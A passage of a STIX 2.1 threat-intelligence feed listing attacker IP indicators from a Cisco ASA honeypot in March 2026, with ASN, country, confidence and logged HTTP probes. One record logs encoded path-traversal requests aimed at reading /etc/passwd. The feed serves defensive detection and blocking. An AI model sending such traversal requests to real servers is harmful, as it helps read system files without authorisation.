      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: NL; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--3e6dbe7d-67f8-463f-8bfa-46c63171ca2b",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '142.93.230.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T09:20:12.000Z",
      "valid_until": "2026-04-02T09:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-03-01T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4e512a48-8b54-4ec0-913b-79fcd6c954c1",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:20:13.000Z",
      "valid_until": "2026-04-02T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-03-01T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2d804448-25af-4750-b9a4-0abc3c6bdff5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:20:13.000Z",
      "valid_until": "2026-04-02T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-15T00:33:32.446Z",
          "last_seen": "2026-03-15T00:34:49.546Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-01T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--b734e707-ea5f-4bc1-a6c8-27137232fc04",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:20:13.000Z",
      "valid_until": "2026-04-02T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-11T03:02:53.744Z",
          "last_seen": "2026-03-11T03:02:53.744Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-01T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--38079a31-1976-41da-8b19-0a85d823b168",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:20:13.000Z",
      "valid_until": "2026-04-02T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 39,
          "first_seen": "2026-03-11T02:58:42.898Z",
          "last_seen": "2026-03-18T07:53:45.877Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-01T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4a90e90b-a560-4fce-8ce0-ef63ce4fbf91",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:20:13.000Z",
      "valid_until": "2026-04-02T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-11T03:01:26.727Z",
          "last_seen": "2026-03-18T07:51:59.177Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-01T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--b3938a56-0af1-4c4f-a345-26d3a33b363e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:20:13.000Z",
      "valid_until": "2026-04-02T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-11T03:02:44.615Z",
          "last_seen": "2026-03-18T07:51:45.437Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-01T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--c5456180-de42-4ce8-9820-36b742740aa6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T10:20:13.000Z",
      "valid_until": "2026-04-02T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-11T03:03:14.617Z",
          "last_seen": "2026-03-11T03:03:14.617Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-01T11:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1\" 404 - geo: PL; ASN 201814 (MEVSPACE sp. z o.o.)",
      "id": "indicator--da40fe12-0e46-4306-a4a6-7fb291eb6cf3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '5.181.190.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T11:20:13.000Z",
      "valid_until": "2026-04-02T11:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 5,
          "first_seen": "2026-03-04T03:51:02.414Z",
          "last_seen": "2026-03-04T03:51:03.967Z",
          "country": "Poland",
          "country_code": "PL",
          "asn": 201814,
          "as_org": "MEVSPACE sp. z o.o.",
          "event_types": [
            "\"GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1\" 404 -",
            "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -",
            "\"GET /..%5C..%5C..%5C..%5C..%5C..%5Cetc%5Cpasswd HTTP/1.1\" 404 -",
            "\"GET //etc/passwd HTTP/1.1\" 404 -",
            "\"GET /etc/passwd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-01T12:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.well-known/security.txt HTTP/1.1\" 404 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--e87370b5-a40c-4dda-b7a3-79eb8c13519a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:20:13.000Z",
      "valid_until": "2026-04-02T12:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-02T00:25:15.799Z",
          "last_seen": "2026-03-02T00:25:18.799Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-01T14:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--ced9537a-7ba3-4275-833d-afbc4462a8f3",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '134.122.9.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T14:20:13.000Z",
      "valid_until": "2026-04-02T14:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-03-01T16:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SG; ASN 396982 (Google LLC)",
      "id": "indicator--05ea9191-5e0c-47e2-b766-f44f4ebd54d8",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '35.187.255.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T16:20:13.000Z",
      "valid_until": "2026-04-02T16:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-03-01T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--b22347a9-9743-42da-9a87-65eb7512779d",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T17:20:13.000Z",
      "valid_until": "2026-04-02T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-03-01T19:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: TH; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--46a3bc73-7c1f-4a2d-9593-462207dff9c1",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.32.245.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:20:13.000Z",
      "valid_until": "2026-04-02T19:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-03-01T19:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--0ef48a76-5771-4d83-832a-c3ac9464f84c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '16.58.56.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:20:13.000Z",
      "valid_until": "2026-04-02T19:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-16T18:14:20.901Z",
          "last_seen": "2026-03-25T17:51:34.967Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-01T20:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 396356 (Latitude.sh)",
      "id": "indicator--c6d452fb-b9c6-4cc3-8132-18982531daf3",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '67.213.118.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:20:12.000Z",
      "valid_until": "2026-04-02T20:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-03-01T21:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--096a68c3-1166-477e-ba08-71caec8379f1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '138.68.134.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:20:12.000Z",
      "valid_until": "2026-04-02T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-15T19:40:52.346Z",
          "last_seen": "2026-03-15T19:40:55.349Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-01T23:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: RU; ASN 210259 (LLC Applied Computational Technologies)",
      "id": "indicator--221c2636-d37a-4ec1-a6c0-678c58f6dcf5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '81.29.142.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T23:20:12.000Z",
      "valid_until": "2026-04-02T23:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 10,
          "first_seen": "2026-03-04T02:23:20.301Z",
          "last_seen": "2026-03-24T14:29:27.019Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 210259,
          "as_org": "LLC Applied Computational Technologies",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T01:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14987 (Rethem Hosting LLC)",
      "id": "indicator--5fed55a9-36e0-437c-ad7a-30c1b64460b1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T01:20:06.000Z",
      "valid_until": "2026-04-03T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-02T00:38:01.229Z",
          "last_seen": "2026-03-02T00:38:01.951Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14987,
          "as_org": "Rethem Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T03:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--37ae065c-4338-4a81-b2df-f98eea18f855",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:20:06.000Z",
      "valid_until": "2026-04-03T03:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 14,
          "first_seen": "2026-03-02T02:39:14.498Z",
          "last_seen": "2026-03-02T02:44:59.004Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T03:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--ccefb793-fd0c-4afc-bd67-db9f0a74b268",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:20:06.000Z",
      "valid_until": "2026-04-03T03:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-02T02:41:00.577Z",
          "last_seen": "2026-03-02T02:43:25.999Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T03:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--48244dce-db9d-45ca-b890-7c0a3202c81c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:20:06.000Z",
      "valid_until": "2026-04-03T03:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-02T02:42:59.891Z",
          "last_seen": "2026-03-02T02:42:59.891Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T03:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--5ea55090-6b56-4ff0-bec0-435bc5cae114",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
